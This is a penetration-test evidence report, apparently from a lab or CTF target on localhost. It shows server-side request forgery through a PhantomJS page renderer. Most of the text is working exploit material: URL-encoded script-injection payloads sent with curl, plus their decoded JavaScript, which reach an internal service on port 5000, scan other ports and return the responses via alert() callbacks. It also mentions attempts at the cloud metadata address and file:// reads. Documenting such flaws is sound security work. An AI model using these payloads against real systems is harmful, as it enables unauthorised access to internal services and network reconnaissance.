# SSRF Exploitation Evidence

## Successfully Exploited Vulnerabilities

### SSRF-VULN-01: Server-Side Request Forgery via PhantomJS Headless Browser

**Summary:**
- **Vulnerable location:** GET /page?name= parameter, executed via PhantomJS at check.js:20 (page.open)
- **Impact:** Internal service access, port scanning, network boundary bypass from external network
- **Severity:** High

**Prerequisites:**
None - vulnerability is exploitable without authentication from external network at http://localhost:34545

**Exploitation Steps:**

**Step 1: Confirm JavaScript Execution Context**

Execute a basic JavaScript alert to verify code execution in PhantomJS:

```bash
curl -s 'http://localhost:34545/page?name=%22%3E%3Cscript%3Ealert%28%22test123%22%29%3C/script%3E'
```

**Expected Result:** Server response contains:
```
Oops! You triggered an alert with test123 instead of the expected value
```

This confirms that:
- JavaScript executes server-side in PhantomJS context
- alert() callbacks are captured and returned in HTTP response
- We have a channel to exfiltrate data

**Step 2: Demonstrate Internal Service Access**

Access the internal Flask application running on localhost:5000 (not exposed externally):

```bash
curl -s 'http://localhost:34545/page?name=%22%3E%3Cscript%3Evar%20x%3Dnew%20XMLHttpRequest%28%29%3Bx.open%28%22GET%22%2C%22http%3A//localhost%3A5000/%22%2Cfalse%29%3Bx.send%28%29%3Balert%28%22STATUS%3A%22%2Bx.status%2B%22%20LEN%3A%22%2Bx.responseText.length%29%3C/script%3E'
```

**Decoded payload:**
```javascript
"><script>
var x=new XMLHttpRequest();
x.open("GET","http://localhost:5000/",false);
x.send();
alert("STATUS:"+x.status+" LEN:"+x.responseText.length)
</script>
```

**Actual Result:** Server response contains:
```
Oops! You triggered an alert with STATUS:200 LEN:1097 instead of the expected value
```

**Proof of Impact:**
- Successfully made HTTP request to internal service at localhost:5000
- Received HTTP 200 status code
- Retrieved 1097 bytes of internal application data
- This service is NOT accessible from external network directly (only port 34545 is exposed)

**Step 3: Demonstrate Port Scanning Capability**

Test closed port (Redis 6379) to show ability to distinguish open vs closed ports:

```bash
curl -s 'http://localhost:34545/page?name=%22%3E%3Cscript%3Evar%20x%3Dnew%20XMLHttpRequest%28%29%3Bx.open%28%22GET%22%2C%22http%3A//localhost%3A6379/%22%2Cfalse%29%3Btry%7Bx.send%28%29%3Balert%28%22REDIS-6379%3A%22%2Bx.status%29%7Dcatch%28e%29%7Balert%28%22REDIS-6379%3ACLOSED%22%29%7D%3C/script%3E'
```

**Decoded payload:**
```javascript
"><script>
var x=new XMLHttpRequest();
x.open("GET","http://localhost:6379/",false);
try{
  x.send();
  alert("REDIS-6379:"+x.status)
}catch(e){
  alert("REDIS-6379:CLOSED")
}
</script>
```

**Actual Result:** Server response contains:
```
Oops! You triggered an alert with REDIS-6379:CLOSED instead of the expected value
```

Test another closed port (5001):

```bash
curl -s 'http://localhost:34545/page?name=%22%3E%3Cscript%3Evar%20x%3Dnew%20XMLHttpRequest%28%29%3Bx.open%28%22GET%22%2C%22http%3A//localhost%3A5001/%22%2Cfalse%29%3Btry%7Bx.send%28%29%3Balert%28%22PORT-5001%3A%22%2Bx.status%29%7Dcatch%28e%29%7Balert%28%22PORT-5001%3ACLOSED%22%29%7D%3C/script%3E'
```

**Actual Result:** Server response contains:
```
Oops! You triggered an alert with PORT-5001:CLOSED instead of the expected value
```

**Proof of Impact:**
- Can distinguish between open ports (5000 returns STATUS:200) and closed ports (6379, 5001 return CLOSED)
- Enables internal network reconnaissance
- Attacker can map internal services from external network position

**Proof of Impact:**

This vulnerability demonstrates:

1. **Network Boundary Bypass**: Successfully accessed internal service (localhost:5000) from external network interface (localhost:34545) that should not have access
   
2. **Internal Service Enumeration**: Demonstrated ability to scan internal ports and identify running services by distinguishing between:
   - Open ports (localhost:5000 → HTTP 200)
   - Closed ports (localhost:6379, localhost:5001 → Connection errors)

3. **Data Exfiltration Channel**: Confirmed ability to retrieve internal service responses and exfiltrate via alert() callbacks in HTTP response

**Attack Chain Summary:**
```
External Attacker (http://localhost:34545)
  → Inject JavaScript in 'name' parameter
  → JavaScript executes in PhantomJS (server-side)
  → PhantomJS makes HTTP requests to internal services
  → Responses captured via alert() callbacks
  → Data exfiltrated in HTTP response to attacker
```

**Limitations Identified:**

1. **Cloud Metadata Access**: AWS metadata endpoint (169.254.169.254) returned "Connection refused" - application is not running in AWS/cloud environment, so this high-value target is not available

2. **File Protocol Access**: Attempted to read local files via file:// protocol but PhantomJS security restrictions blocked XMLHttpRequest access to file:// URLs

3. **Timing Constraints**: PhantomJS timeout of 5 seconds limits exploitation of slow internal services

**Notes:**

- **SSRF Type**: Classic SSRF with response returned (not blind)
- **Execution Context**: Server-side JavaScript in PhantomJS 2.1.1 headless browser
- **External Exploitability**: ✅ Confirmed - exploitable from external network at http://localhost:34545 without requiring internal network access
- **Authentication**: Not required - public endpoint
- **Impact Level**: High - Network boundary bypass, internal service access, and port scanning confirmed
